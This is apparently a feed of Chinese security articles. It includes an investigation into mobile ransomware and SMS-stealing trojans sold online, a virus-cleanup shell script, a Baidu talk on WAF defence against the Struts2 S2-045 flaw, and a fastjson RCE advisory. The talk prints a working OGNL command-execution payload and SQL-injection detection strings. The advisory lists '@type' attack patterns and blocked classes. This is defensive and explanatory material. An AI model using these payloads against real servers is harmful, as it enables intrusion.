然而,把恶意程序植入色情钓鱼网站,却是黑色产业链的常见做法。一位互联网安全专家告诉记者,他检测过网上流传的所谓“色情播放器”,发现基本都带有恶意程序。

5块钱就能买到恶意程序

南都记者卧底发现,另有一款名为“锁机”的恶意程序,门槛更低,只需20元,甚至5元就能买到。

记者通过检索,发现大量QQ群贩卖锁机程序。用户下载锁机程序后,手机会被锁定,无法进行其他操作。此时,手机屏幕上会显现制作者的联系方式:“解锁找某某,只需20元。”

甚至还有初中生参与其中。

阿鹏开发出锁机病毒时,正在上初三。他告诉记者,自己先是中了别人的病毒,花了25元解锁后,才接触到这个技术。

去年4月,阿鹏开始学习安卓技术,2个月后,第一个锁机程序制作完成。此时,阿鹏在网上发布消息,宣称只要安装这款程序,就能免费升级QQ会员。用户中招后,通过阿鹏留下的联系方式,转去20元钱,才能顺利解锁。

不过,阿鹏自称这番敲诈手法给他带来还不到200块收益。“大多数用户联系我,并不会给钱,而是把我骂一顿,然后去手机店修理。”

阿鹏的锁机程序,甚至被收录进某大型公司的年度互联网安全报告,他也乐于向别人展示这个成果。“我们这个年纪的,都喜欢炫耀。”

阿鹏也被一些别有用心的人盯上。去年6月开始,每天都有10多人找到阿鹏,请他做锁机程序,让他传授锁机技术。多方利益围猎,仍未引起他的警觉。别人甚至无需验证,就能直接添加他为Q Q好友。“能给我的QQ空间涨人气。”阿鹏引以为豪。

新学期开始,阿鹏已经不再处理生意,理由是“没有时间”。最后,他也告诉记者,放弃生意的真正原因,是因为不赚钱。“太多人在做了,如果真能赚钱,我会轻易放弃吗?”

阿鹏告诉记者,6月放暑假时,一个锁机病毒还能卖到20块钱,学生们开学后,QQ群里生意冷清,一个病毒只能卖5块钱。

支付宝短信偷偷被转走

与锁机程序同样低门槛,却更加危险的程序,叫“拦截马”(也称“拦截码”)。同样的,也存在大量QQ群,公然售卖这一程序。

南都记者在一个名为“AIDE拦截码”的QQ群里发布求购消息,立即有5人私聊记者,声称“有货”,开价从20元到50元不等。

最终,记者与“潇子傲”谈好价格,不到3分钟,记者就收到了这款程序。“只要别人下载安装,你就可以接到他手机的全部短信。”

记者的同事亲身体验,发现安装时并不需要任何权限。安装完成后,屏幕上显示图标,同事点击图标,却瞬间闪退,图标也从屏幕上消失。

此后同事每收到一条短信,都能自动发送到记者手机中,短信资费由同事承担。

“潇子傲”又提示记者,只要再转账300元,他就能教授制作拦截马的方法。据悉,拦截马的制作流程非常简单,短短几行代码,可以免费下载、互相抄袭,只需把自己手机号、邮箱地址填入其中,一个手机病毒就制作完成了。用户安装病毒后,短信将发送到制作者的手机、邮箱中,用户浑然不知。

在“白帽黑客”顾钰伟(化名)的帮助下,南都记者进入某不法分子的邮箱,发现该邮箱已监控了5人的手机,这5台手机的短信和通讯录号码都被收录进来。

以其中一名受害者为例,从2015年12月12日起,她一共收到10条支付宝的验证短信,“支付宝校验码:347050,打死都不能告诉别人哦!”这些短信都被收录进邮箱。犯罪分子可以利用验证码,登录他人支付宝、网银,实现转账、盗刷等目的。

以中国裁判文书网上的《吴振庆破坏计算机信息系统二审刑事裁定书》为例,犯罪嫌疑人利用类似的恶意程序,监控了121台手机设备,并盗刷他人银行卡,最终被判有期徒刑5年。裁判文书显示,犯罪嫌疑人使用的恶意程序,也系网上买来。

锁机、拦截马程序,正以一种传销式的方式在推广。制作者一般会加入QQ群,付钱购买病毒、学会技术,然后自己创建QQ群,进行二次售卖。“潇子傲”宣称,他有一个700人的QQ群,其中300人买过他的程序。“放心,都没有被抓。”

记者发现,在一个名为“拦截码”的贴吧中,制作者争先恐后抛出广告,天天顶帖。购买者求码心切,“找合作,利润评分,我知道有个账户有20万。”

App传播渠道乱象丛生

手机恶意程序制作完成后,不法分子可以利用多种途径进行传播。

其一是投放钓鱼网站。南都记者发现,这类钓鱼网站非常泛滥,一般打着色情的旗号,引诱手机用户下载“专用播放器”,以观看色情影片。

腾讯手机管家安全专家陈列告诉记者,钓鱼网站需要频繁更换域名、服务器等,操作比较麻烦,往往需要专门的人来制作、维护网站,他们也是靠产业链养活的一员。

另一种传播途径,是群发短信链接。

记者进入的不法分子邮箱显示,3月12日18时,犯罪分子控制某受害者的手机,给通讯录好友群发了短信,内容为“某某,你看一下,spmdd.com/you.”如果有人点开链接,同样将中拦截马病毒。

病毒推广的背后,还有一些“广告联盟”在推波助澜。与淘宝刷单类似,广告联盟旗下有众多员工,专门下载、安装App,提升该App的人气。

记者以App开发商的名义,联系上一家名为“1717金融团队”的广告联盟。一位负责人表示,他可以帮记者的A pp实现刷单和注册,每单3.5元。记者了解到,每下载一次App,普通员工一般只能赚到1元钱。这意味着,剩下的2.5元都进入了广告联盟老板的腰包。

更不可思议的是,当记者说明自己的App系山寨货,可能涉嫌侵权,该负责人却宣称,“我们推广的山寨A pp太多了。”而当记者明确表示App带有恶意程序、能监控短信后,该负责人依然愿意提供服务。“这个我们不管,出了事你负责,我们也不用承担责任。”

“现在大部分的中小型广告联盟,管理都很混乱。”陈列告诉记者,广告联盟推广的App鱼龙混杂,是恶意A pp传播的途径之一。

甚至连刷机也有可能出现风险。

早在2013年,就有刷机爱好者在论坛发布消息,指责某款ROM(刷机素材)预装的App,非但没有图标,反而私自发送、监控短信。据悉,该ROM是一位网友自发制作、分享。

对此,机锋论坛的知名RO M制作者马超表示,App开发商与ROM制作者之间存在利益交换,早已成为行业潜规则。

马超告诉记者,此前有多个开发商找到他,要求在ROM中预装App.“一般我不乱接,没听过的一律回绝或无视掉了。”

马超自称,他预装的A pp,都来自360、腾讯等知名公司,在发布RO M之前,他也会在自己的手机上试运行,检测是否有毒。

马超表示,预装A pp是民间RO M制作者唯一的收入,按运行次数付费,“一台机器首次运行才计算(一次)”。

恶意程序也在走出国门。乐蛙科技有限公司的海外业务负责人周先生称,部分A pp开发商为了推广,会选择贿赂手机生产商,在手机硬件中预装恶意程序。周先生介绍说,印度市场上的手机,部分是国内代工的,就出现过这种情况。

200元做App13天36人中招

然而,在顾钰伟看来,市面上流行的大部分手机恶意程序,都是“小学生做的东西”。“一般我们不会去注意写锁机的人,太弱了。”

顾钰伟是在校大学生,每天课程结束后,便会坐在电脑前,检测各网站漏洞,为网友讲解手机病毒的原理。与钻漏洞谋利的“黑帽黑客”不同,他是一名“白帽”,专门寻找漏洞、及时汇报。

顾钰伟告诉记者,App之所以能控制手机,是因为获取了足够的权限。“锁机A pp打的标题,可能是‘秒领20元红包’、‘王者荣耀辅助’等,正是这些很有诱惑力的字眼,促使用户一路绿灯,开放权限。”

顾钰伟与这些病毒的作者打过交道,此前他们是互通技术的朋友。“最初大家都是黑客,但黑客也是人,也有好人、坏人,所以一部分开始给企业找漏洞,报告给他们,成为白帽,一部分贩卖漏洞,成为黑帽。”

发现朋友在做不正当生意后,顾钰伟与他们断交。据顾钰伟介绍,这批人目前已潜逃东南亚,远程操作国内互联网市场。

目前,东南亚已经成为手机病毒的重要来源地。病毒窃取用户个人信息后,能控制论坛账号,发送网络赌博的广告。这些网络赌博公司,都设立在赌博合法化的东南亚国家。

近日,公安部破获了一起特大窃取出售个人信息案,涉及被窃信息50多亿条,就与网络赌博有关。

虽然相关部门正积极打击,但仍无法阻止犯罪分子继续违法。一个名叫“拦截马”的贴吧已经被封,而另外一些名叫“拦截码”、“中国拦截马”、“短信拦截马”的贴吧得以建立。

一个原名为“AIDE拦截码”的QQ群,数天前改名为“我爱腾讯、腾讯爱我”,群管理员告诉记者,腾讯正在严查QQ群。16日,该群名重新改回“AIDE拦截码”。

手机病毒泛滥成灾,正是因为有市场存在。

南都记者制作了一个空壳A pp和下载链接,模拟手机恶意程序的流通过程,由深圳市非凡之星网络科技有限公司免费提供技术支持。

在传播下载链接时,南都记者加上“安装送话费”、“免费看美女图片”等理由,短短13天内,就有656次点击量,更有36人安装、运行了App.如果该App系恶意程序,这36人都将中招。整套流程走下来,南都记者购买服务器及域名只花了不到200元。

如何防范

病毒多发生在安卓平台

“白帽黑客”顾钰伟认为,手机病毒多发生于安卓平台,是因为“国内安卓环境太差了,随便一个应用都要你的联系人权限,恨不得把所有权限获取一遍”。而当这些应用的服务器被入侵,公民的个人隐私也将遭泄露。

iOS更加封闭、更加安全

“相比安卓系统,iOS更加安全。”深圳市非凡之星网络科技有限公司的研发经理朱鹏说,iOS的App开发商,需要向苹果公司申请账号,共有企业、公司、个人三种类型的账号。除了企业账号可以使用独立服务器、供人下载外,公司、个人账号制作的App,都需要上传至苹果的官方应用市场,审核严格。“对于资质齐全、效益良好的企业来说,一般又不会制作恶意程序,因此iOS设备较少中毒。”

朱鹏也介绍,安卓手机安全隐患更大,根本原因不在于系统本身,而是安卓的开放性所导致的,程序能够获取的权限较多。

然而谷歌公司仍宣称将坚持开源政策。在美国时间3月10日的谷歌云大会上,谷歌副总裁Vint Cerf称,互联网本身就有开源的属性,没有开源就没有互联网,没有互联网就没有谷歌公司。

与此同时,苹果公司正变得更加“封闭”。3月8日,iOS系统的App开发者收到邮件,主要内容是,禁止在App里进行某些技术的热更新。这意味着,一些App的更新将无法在应用内直接进行,而是必须移步官方应用市场重新下载。

“苹果公司的这一政策,意味着iOS将更加封闭、更加安全。”朱鹏告诉记者,官方应用市场下载的App可能刚开始无毒,却能通过热更新植入病毒。

防病毒安装杀毒软件

那么该如何防范日益猖獗的手机病毒呢?

“给一个安全专家都会给的建议,安装一款杀毒软件。”顾钰伟说。

“不要随意扫描二维码、或通过第三方链接下载文件,应前往正规应用市场下载。”朱鹏建议。

可恶意程序早已做好应对工作。在一些QQ群内,已经有多人宣称,他们贩卖的拦截马可以“反杀”,杀毒软件检测不到。更严重的是,即使在应用市场,也可能下载到山寨App.

相关数据显示,App的仿冒问题非常严重,平均每个App的山寨版本达到34个,57%的山寨应用有隐私窃取、盗费等恶意行为。

与此同时,大多手机用户似乎还没有注意到,手机恶意程序的凶猛发展态势。“这些白帽就是搞安全的,当然会把安全问题说得很夸张。”前述淘宝店主张先生表示,自己就是从事软件开发的,从来没有安装过杀毒软件。“换句话说,就算你的短信泄露了,又能怎么样呢?”

现实却是,哪怕是一个初中生,也有多种渠道传播恶意程序,并利用多种方式变现,这值得手机用户提高警惕。

采写:南都见习记者 秦宇杰

数字化带来的网络安全威胁愈发被重视

$
0
0

网络犯罪对企业和数据网络的非法攻击可能导致数十亿美元的损失,切实有效的解决方案可以提供全面的安全防护。CeBIT2017将展示一系列商业解决方案,用于抵御各类网络攻击,例如智能手机反恶意软件,以及可以实时检测Web攻击的免费加密技术。


php?url=0FtPdwqxwZ" alt="数字化带来的网络安全威胁愈发被重视" />
图片说明

随着数字化和物联网的推进,没有任何防御是万无一失的,黑客的手段以以往任何时候都要多。因此,网络安全是个持续性的话题。互联网服务深入人们的生活,银行账户变得数字化,甚至是住宅也实时连上了网络。即使是美国总统大选也在担忧黑客攻击。

另一方面,黑客攻击带来的不仅是物质损失,还有公司形象的破坏,所以提高IT安全对企业的长期成功很重要。对于工业和经济部门来说,一开始就要规划和整合IT安全系统,以确保智能资产能够可靠的制造和运营。

目前,防火墙已经广泛应用于很多工业领域,包括杀毒软件和入侵检测系统,不过这些只能应对部分的网络安全威胁。同时,一些攻击也开始指向特定组织或个人。

很多标准的智能系统没有得到充分保护,让黑客抓住了关键漏洞,甚至企业的IT安全部门都没有发现。在这种情况下,员工的安全意识需要提升,他们必须时刻了解最新的安全风险,才能提前部署应对。

libudev.so病毒清理shell脚本

$
0
0

5分(1票)

这个病毒有人叫做”十字符病毒”,因为病毒会随机生成一个10字符进程,而该进程会占据几乎所有上行带宽,并且占据大量CPU资源。

这个(类?)病毒已经遇到好几次了,每一次都有点小不同,但唯一不变的估计就是这个实际的执行程序的名称――”libudev.so”,所以我就称之为”libudev.so”病毒。

第一次遇到这个病毒的时候,埋头处理大半天,一开始都是以为清理干净了,结果又复发。经过一步一步的试错,终于搞明白这病毒的自启与自保机制,一下就清理了。

这病毒的自保与自启机制不算高深,按照一定的操作顺序,以及手速足够快,几下就能清理,所以后来又遇到了几次,也没大在意。但这次再次遇到这个病毒,竟然又忘记处理步骤了。那么这次干脆写个shell,一劳永逸。

#病毒进程名 VIRUS_P=njafjgycsl #暂停病毒进程 kill -stop `pgrep $VIRUS_P` rm -f /usr/bin/$VIRUS_P #/etc/cron.hourly/gcc.sh find /etc/cron* -name "gcc.sh" -exec rm {} \; find /etc/init.d/ -name "*$VIRUS_P*" -exec rm {} \; find /etc/rc* -name "*$VIRUS_P*" -exec rm {} \; pkill $VIRUS_P rm -f /lib/libudev.so /lib/libudev.so.6

用法:通过top命令找到病毒的进程名,赋给变量”VIRUS_P“,然后执行这个shell就可以了。

病毒的自启和自保机制在脚本里有个大致的体现了,如果病毒有变,那就根据具体情况做些修改吧。

百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

$
0
0
小明和小红是邻居。 小明会点儿技术,他暗恋小红。

但是情商低的小明在小红不知情的情况下,入侵了邻居小红的网络,顺手从小红电脑里偷出了小红的各种生活照,并做了轰天动地的表白网站,配上了这些图,自以为特别成功地发给了小红。

小明,卒。

表白不成功不是啥事。世界上最痛苦的事儿,莫过于有人入侵了你家的网络,你却不知道。互联网早已经变成了一个没有硝烟的战场。

对个人用户而言,可能是隐私信息、电子财产被盗等,对企业网络而言,形势可能更严峻。

无时无刻,有成千上万的扫描器在不停地扫,有各种各样的系统、中间件、web 程序被曝出漏洞。有那么一群人,为了盗取用户数据、发动DDoS攻击、勒索等,疯狂发起攻击。

其实攻击并不可怕,有数据显示,98%的攻击都是试探性的。可怕的是攻击成功――入侵。如何抵抗入侵、及早发现入侵,甚至在萌芽阶段就能阻止入侵,对一个企业网络异常重要。

3月15日,百度安全资深安全工程师小灰灰在雷锋网硬创公开课中,按照自己的实操经验,详细讲解了如何建立一个有效的企业级安全防御。

嘉宾简介

小灰灰,百度安全资深安全工程师,主要负责百度业务应急响应、入侵排查、0Day 分析等,同时是百度安全监控体系建设技术负责人。主要技术攻关方向为 Web 安全及硬件安全。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...
视频讲稿
百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

由于曾就职在乙方安全公司,现在负责甲方安全,所以对整体的国内安全状态、各方优势以及存在的一些不足都有一些理解&感触。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...
整体上来看,国内以BAT为首的互联网公司,安全地位都比较高,整体研发能力也很强,基本上各大的安全系统都是自研,灵活性、效果、性能方面都有较大的优势。而国内一些中小型企业,由于整体人员分配、资金投入、业务安全风险等各方面原因吧,处于想做安全但是人力不足、专业技能人员不足,主要靠大量的购买盒子类产品、安全服务等保障公司网络安全
百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

上图是我亲身经历的很多 case 挑了几个典型代表。可以看见,针对这些安全研发能力一般的(估计这方面研发能力强的,也只有大型互联网公司+一些金融机构了)公司,看起来像是投入了很多资源,也很重视安全(一些定期汇报之类的),但是实际效果其实很差。不是他们不想做好,只是可能缺少了正确的方法。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...
百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

那么试想下,当前两天的struts2 远程命令漏洞来了,可以预见到,这些企业大多都会被无情的入侵。工程师早上上班一来,发现页面被人改了、数据被人偷了、还搞了个locky病毒:要想赎回数据,请交钱。

所以我希望我能通过介绍互联网公司的,包含理念和具体方法的最佳实践,能够帮助这些企业在安全建设方面开拓些思路,改善下当前买了安全、做了安全但又经常处处挨打的处境。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

知己知彼,百战不殆。首先我们来看看黑客们都是如何入侵到企业网络中的,以及他们都做了什么恶事儿。

看起来,他们还是有几个主要途径的,这里面最重要的莫过于web系统了。暴露的服务越多,遭受攻击的可能性就越大。而且黑客获取服务器权限后还会进一步漫游内网,获取更多资源。

说到web系统,不得不提扫描器。其实黑客大多数也很忙,没有时间针对每个网站一点点人工测试,大多数是这么做的:开一堆扫描器,任其疯狂扫描,坐等最终结果。如果结果中有了一些中高危漏洞,他们便尝试去利用,这时候才开始针对性测试。所以,扫描算是一个重要入口了吧,如果能挡住点扫描行为,扰乱扫描器这群傻机器,其实也可以很大程度上增强安全性了。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

对webserver进行些加固、用个效果不错的waf抵挡扫描器的探测、同时自己也用扫描器提前扫一下,针对已知漏洞还是有很大效果的。

但是针对struts2 s2-045 这样的0day漏洞,效果就很有限了。那如何在0day下,也有一部分的防御&感知能力呢?

由于是0day,第一时间:

没有规则,无法拦截

没有poc详情,无法扫描

但是,利用漏洞必定会 有攻击路径

特征(主要是 已入侵,得到shell的方法)

行为(主要是进一步攻击,漫游,扩大战果)

所以这时,用安全监控作为弥补,感知已入侵的入侵特征和行为,及时发现黑客入侵并应急处置,将变得异常重要和有效。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

下面,我会从这三个方面给大家介绍下互联网公司一般是如何做的,以及需要注意的问题。着重讲下安全监控的思路。其中的一些实践经验总结来自于大量的攻防对抗、入侵排查、0day应急处理。

关于扫描器,我们需要明白,扫描器并不是万能的,他主要的作用有两个:

已知问题提前发现,先于黑客发现并修复漏洞,防止被外界利用

新问题 快速review(0day、SRC、其他公司等近期多发高危case)

扫描器只能是一个公司安全整体情况的晴雨表,通过扫描结果反馈不足并不断改进。而这个晴雨表的效果来自于整体扫描能力的构建。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

如何评判一个扫描系统是否优秀呢?Poc的数量、质量、是否有智能识别是一个很重要的指标。数量代表了能扫到的漏洞范围(但切记范围要本地化、实用,一些老旧、无大风险的漏洞其实并没有必要),质量代表了扫描效果(例如sql注入扫描poc,是否覆盖了各种注入类型等),智能识别能极大的降低由于“傻扫”带来的资源占用、任务时间延长。

另一个常见问题是大多数扫描器资产发现能力很弱,单靠爬虫等会使得扫描输入源(访问url和参数)很有限,输入源少了,自然整体扫到的漏洞也少。一种有效的方法是通过流量中、浏览器插件、access日志等获取更多的输入源补充到扫描任务中。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

如果不满足商业扫描器的功能&灵活性,或者希望更深入了解扫描器的原理,或者干脆自己实现一款扫描器,那么可以参考下W3AF (如上图所示) 。 W3AF 是一款很优秀的开源扫描器,使用python语言实现。其中的audit模块包含了常见漏洞的检测及判断方法。而crawl模块包含了爬虫、google hacking、dictionary list等多种资产发现方式。整体上来看,很具有参考价值。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

WAF通常是放在了一些中小型企业DMZ区域的最外侧。同样的,WAF也不是万能的,别指望有了WAF就一切万事大吉了(这是大家一直的误区)。它所解决的问题,其一是让扫描器得不到想要的结果,混淆扫描器;其二是在拦截0day方面,由于是最外侧入口,有着不可比拟的优势,在业务没有统一修复之前,针对性利用代码,防范0day。

同时WAF也可以作为一些数据产出,比方说根据近期攻击情况做防御调整,比方说收集最新的POC等。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...
百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...
百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

上面第一个是我们从WAF收集到的具有攻击性的POC(poc放出当天就发现了)。下面的两个是我们收集到的构造十分精巧的POC,后来放在我们一部分扫描规则中。

既然我已经说了,WAF在0day拦截方面有着非常好的效果,那么大家就跟随我一起,实际做下这次的struts2 0day在waf上的防御吧。

首先让我们先对struts2进行下漏洞分析。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

首先diff代码,发现删除了LocalizedTextUtil.findText(......);。由于这次poc也很快放出来了,时间原因我们取个巧,一会,边触发poc边单步调试。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...
百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

以上我们只通过diff代码向上回溯LocalizedTextUtil.findText函数的调用关系,便找到了重要信息:该漏洞的触发是在content type中,而且包含multipart/form-data时。

但是跟进了下findText寻找触发命令执行的关键点,并没有发现什么有价值信息(分支条件很多,不知道走到哪了)。这时候,poc上场(如果没有poc,这个分析将会技术要求很高了)。

Poc如下:

header["Content-Type"]="aaa_multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};"
百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...
百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...
百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...
百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...
百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...
百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

单步调试,发现走到evaluator.evaluate(var),弹出计算器。

分析之后,漏洞成因已经很清晰了。

Content type中包含multipart/form-data 而且内容包含%{….} 、 ${….} 的,中间内容会被当做 ognl 表达式执行,从而引发命令执行。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

上图是做%{….} 、 ${….}的判断。

通过分析后,把相关规则上到WAF上,保证了WAF拦截的有效性和防绕过。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

关于监控,主要的思路是数据采集+数据分析。而采集方面,包含的内容非常之多,我们这里只看下通过hook大法实现的安全监控。这一类监控通常是在漏洞发生的最根本位置进行恶意识别,所以其获取到的报警通常效果最好。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...
百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

例如常见的SQL注入漏洞,好一点的情况是最外层有waf做拦截,但是waf存在各种各样的绕过&误伤等等,况且很多公司根本没有没有部署WAF。同时扫描器针对这种漏洞扫描起来也比较困难,需要考虑多种注入方式。那么如何有效的对SQL注入进行识别,做到:如果存在注入攻击便及时报警呢?hook 数据库拿到查询日志并进行分析是一个很有效的方案。为了简化,这里直接取数据库的查询日志log做分析(实际场景采用DB Proxy类技术会有更好的性能和稳定性)

由于每次的请求(包括攻击请求)已经转化为对应的数据库查询操作,故已经无需考虑编码解码、引号闭合等问题,只需要关注是否存在异常的查询。例如:如果存在union all select null,null 这样的查询操作,便为明显的数据库注入测试行为,并且关键的是,这种行为已经完成了引号闭合等动作,是一次成功查询。

那么现在要做的,就是格式化查询,最终匹配出恶意查询行为并报警。


百度讲师:以struts2 为例,教你打造一款互联网思维的安全防御 | 硬创公开课(附讲稿全 ...

在演示例子中,我们实现了对查询进行语法解析并且替换字符串的功能。

图上第一行为原始查询,第二行是经过解析和字符串替换后的查询, 可以清楚的看到,

第一次查询为正常的业务请求

第二次查询被解析成了select xx from xx where name =’s’ union all select null,null --。这是一个明显的注入测试操作并且匹配了union all select null,null的规则

第三次实际上仍然是黑客在做注入测试,只不过没有成功闭合引号,一大串查询测试仅是被当做成了一个长字符串。

通过这种方法,仅需要预定义几种注入攻击特征,便能很高效的对SQL这种攻击进行监控识别。

fastjson远程代码执行漏洞技术分析与防护方案

$
0
0

阅读: 23

2017年3月15日,fastjson官方发布安全公告表示fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

fastjson官方建议直接升级到1.2.28/1.2.29或者更新版本来保证系统安全。

相关链接如下:

https://github.com/alibaba/fastjson/wiki/security_update_20170315

文章目录

什么是fastjson

fastjson是一款用Java语言编写的高性能功能完善的JSON库。由于其独特的算法,fastjson的parse速度极快,超越了所有json库,包括曾经号称最快的jackson以及Google的二进制协议protocol buf。fastjson还是官方收录的参考实现之一,完全支持 http://json.org 的标准。除此之外,fastjson还支持各种JDK类型包括JavaBean,Map,Enum,泛型等,而且不需要额外的jar,能够直接跑在JDK上。Fastjson支持JDK 5, JDK 6,Android,阿里云手机等环境。

受影响的版本 fastjson <= 1.2.24 不受影响的版本 fastjson > 1.2.24

注:官方表示版本大于1.2.24但是小于1.2.28的版本虽然为fastjson的过渡版本,但是不受此漏洞影响,因此不必升级。

漏洞分析

通过新老版本的代码对比,发现此漏洞出现在com\alibaba\fastjson\parser\DefaultJSONParser.java文件中的DefaultJSONParser::parseObject函数,如下图所示:


fastjson远程代码执行漏洞技术分析与防护方案

从图中可以看到,在1.2.24 (即受影响的版本)版本的代码中,加载类名时,用到了一个TypeUtils::loadClass的方法,此方法在com\alibaba\fastjson\util\TypeUtils.java中的具体内容如下:


fastjson远程代码执行漏洞技术分析与防护方案

通过对代码的分析发现,该方法没有对需要加载的类做限制,而是直接加载从而导致非授权的代码执行。

JSON. DEFAULT_TYPE_KEY的定义如下:


fastjson远程代码执行漏洞技术分析与防护方案

攻击者构造的攻击代码中模式化后会存在如下格式的片段:

{... "@type":"classname" ...} {... "@type":"[clastname1,classname2,...]" ...} {... "@type":"Lclastname;" ...} {... '@type':"classname" ...} {... '@type':"[clastname1,classname2,...]" ...} {... '@type':"Lclastname;" ...}

红色部分为可以手动输入的类名,可以在此位置添加恶意的非授权代码。

而在1.2.25(非受影响的版本)版本的代码中,使用了config.checkAutoType加载相关的类,代码位于com\alibaba\fastjson\parser\ParserConfig.java,方法为ParserConfig::checkAutoType,具体内容如下图:


fastjson远程代码执行漏洞技术分析与防护方案

从该方法中可以看出,不论用户是否开启了autoTypeSupport功能,在类名被加载时都需要通过额外的一层筛选(来判断是否在acceptlist里),只有满足了此限制的类名才会被加载,否则软件会直接抛出异常并且不予执行。系统中定义的禁止加载的类名以如下内容开头:

bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework 官方解决方案

阿里官方修复建议如下:

利用阿里官方提供的WAF检测

可以用以下命令检测post内容中是否包含字符:

"@type"

注:添加双引号可以减少误报。

命令行检测当前使用版本是否存在问题: sudo -u adminlsof -X | grepfastjson | grepjar | grep -v sec01 | grep -v 1.2.24 | grep -v 1.2.25 | grep -v 1.2.25 | grep -v 1.2.26 | grep -v 1.2.27 直接下载不受影响的新版本

阿里官方已经发布公告,建议受影响的用户立刻升级到1.2.28/1.2.29 或更高的版本,下载地址:

http://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.29/

注:绿盟科技安全团队建议用户升级到1.2.29版本。

升级步骤如下:

首先备份原fastjson依赖库,可升级失败后随时进行还原,不对业务造成影响。 然后将低版本的fastjson库替换为2.29版本即可,如下图所示:
fastjson远程代码执行漏洞技术分析与防护方案
Maven依赖配置更新

通过maven配置更新,使用最新版本,如下所示:

<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.29</version> </dependency>

注:1.2.3 ~ 1.2.9版本均比1.2.29版本低,因此都需要升级。

技术防护方案 产品类

使用绿盟科技IPS/IDS/NF/WAF防护类产品进行防护,本周内会出相应的升级包,敬请关注相关产品最新动态。

服务类

绿盟科技提供专业的安全技术服务,全方位的保障客户应用系统安全,避免受此漏洞影响。

短期服务:我们可以提供应急服务,服务内容包括对客户应用系统有针对性的提供修复建议,保障客户系统的安全升级。 中长期服务:结合绿盟科技检测与防护产品,提供7*24的安全运营服务,在客户应用系统遭到安全威胁时第一时间通知客户,并定期进行安全检测,针对安全风险提供专业的解决方案。 总结

该漏洞源于fastjson在加载类时对类名判断的不严谨,导致攻击者可以将非授权的恶意代码添加到类名中,此代码会在稍后被fastjson解析时自动加载,导致代码的远程执行。由于fastjson的优越性能(如速度快,支持JDK类型广等),此json库被多数用户选择,尤其是对于数据处理的准确性和速度有较高要求的金融类产业,因此该漏洞对相关产业及用户影响较大。绿盟科技在第一时间了解到该漏洞后,以最快的速度进行应急响应,分析该漏洞的成因与原理,及时为用户提供安全可靠的检测与防护方案。

声 明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技

北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及web安全防护等产品以及专业安全服务。

